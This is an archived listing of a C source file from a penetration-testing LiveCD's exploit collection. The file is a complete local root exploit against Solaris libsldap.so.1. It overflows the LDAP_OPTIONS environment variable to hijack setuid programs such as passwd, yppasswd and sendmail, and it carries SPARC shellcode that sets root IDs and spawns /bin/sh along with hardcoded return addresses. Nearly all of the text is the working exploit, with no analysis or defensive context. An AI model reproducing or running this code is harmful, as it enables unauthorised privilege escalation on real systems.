home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ldap / libsldap-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  83 lines

  1. /** !!!PRIVATE!!! 
  2.  ** noir@gsu.linux.org.tr
  3.  ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
  4.  ** 
  5.  **/
  6.   
  7. #include <stdio.h>
  8.  
  9. #define ADJUST      1
  10.  
  11.  
  12. /* anathema@hack.co.za
  13. ** Solaris/SPARC shellcode
  14. ** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
  15. */
  16.  
  17. char shellcode[] =
  18. "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
  19. "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
  20. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  21. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  22. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
  23.  
  24. struct type {
  25. char *string;
  26. char *path;
  27. long retaddr;
  28. };
  29.  
  30. struct type target[] = 
  31.       {
  32.     { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
  33.     { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
  34.     { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
  35.     { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
  36.     { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
  37.     { NULL, NULL, 0 } 
  38.       };
  39.  
  40. int i;
  41. unsigned long ret_adr;
  42. char ldap[4000];
  43. char egg[400];
  44. char *envs[] = { ldap, egg, NULL };
  45.  
  46. main(int argc, char *argv[])
  47. {
  48.  
  49.       if(!argv[1])
  50.       {
  51.               fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
  52. buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
  53.       for(i = 0; target[i].string != NULL; i++)
  54.       fprintf(stderr,"target#: %s\n", target[i].string);
  55.       exit(0); 
  56.       }
  57.  
  58.   ret_adr = target[atoi(argv[1])].retaddr;
  59.  
  60.   memset(egg, 0x00, sizeof egg);
  61.   for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
  62.   *(long *)&egg[i] =  0xa61cc013; 
  63.   for (i= 0 ; i < strlen(shellcode); i++) 
  64.      egg[200+i]=shellcode[i];
  65.   
  66.  for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;
  67.  for (i = ADJUST; i < 4000; i+=4)
  68.     {
  69.       ldap[i+3]=ret_adr & 0xff;
  70.       ldap[i+2]=(ret_adr >> 8 ) &0xff;
  71.       ldap[i+1]=(ret_adr >> 16 ) &0xff;
  72.       ldap[i+0]=(ret_adr >> 24 ) &0xff;
  73.     }
  74. memcpy(ldap, "LDAP_OPTIONS=", 13);
  75.  
  76. ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated
  77.  
  78. execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);
  79.  
  80. }
  81.  
  82.  
  83.